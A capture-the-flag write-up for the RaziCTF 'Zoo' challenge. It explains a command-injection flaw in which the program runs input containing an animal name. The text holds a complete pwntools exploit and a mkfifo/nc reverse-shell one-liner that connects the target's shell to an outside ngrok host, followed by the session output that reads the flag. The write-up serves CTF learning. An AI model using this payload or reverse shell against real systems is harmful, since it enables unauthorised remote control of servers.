You notice that when executing Zoo locally, it asks you to name an animal to feed. What actually happens is that it executesthe input that it gives "./input". By analysing the binary in ghidra you also notice that the only check is for a substringequal to one of the animals to exist in your program. However you can't simply do Apes;ls, since then you'd run the program"Apes", and you have no idea what that does. Thus I tried doing "a;ls;Apes", but I noticed that for some reason the outputwasn't piping to the terminal (if ran locally all output would print when exiting the program). This does however mean thatthe server executes all commands that are run, but the output is hidden. The solution to this is spawning a reverse shell,which can be done in a lot of different ways. The way I did it was with "ngrok", since I wasn't able to port forward.
First I set up a listener, for example ```nc -lvnp 1234```.
Then, I ran ngrok so that I could connect remotely ```ngrok tcp 1234```,which set up a process listening on 2.tcp.ngrok.io 13638. Now all that needs to be done is connect a shell from the serverto my listener, which was done with the command ```mkfifo /tmp/ptsd; nc 2.tcp.ngrok.io 13638 0</tmp/ptsd | /bin/sh > /tmp/ptsd 2>&1; rm /tmp/ptsd```. What this does is create a named pipe file as /tmp/ptsd, then connect stdin to this file via nc to my listener, and stdout/stderr to /bin/sh which then executes those commands.
https://metahackers.pro/reverse-shells-101/
Full exploit below - automated with pwntools:```py#!/usr/bin/env python3
from pwn import *
HOST = "37.152.181.193"PORT = 1337
#p = process("./Zoo")p = remote(HOST, PORT)
payload = b'a;mkfifo /tmp/ptsd; nc 2.tcp.ngrok.io 13638 0</tmp/ptsd | /bin/sh > /tmp/ptsd 2>&1; rm /tmp/ptsd;Apess'
p.sendlineafter("us:", payload)p.interactive() ```
and output:```~ ❯ nc -lvnp 1234                                                                               took 2m 15sListening on 0.0.0.0 1234Connection received on 127.0.0.1 58984iduid=1001(Zooo) gid=1001(Zooo) groups=1001(Zooo)lsApesBatsBearsFlag.txtFoxesHogsLionsTigersZebrasbinruncat Flag.txtRaziCTF{st4y_s4f3_dur!n9_th!s_p4nd3m!c}```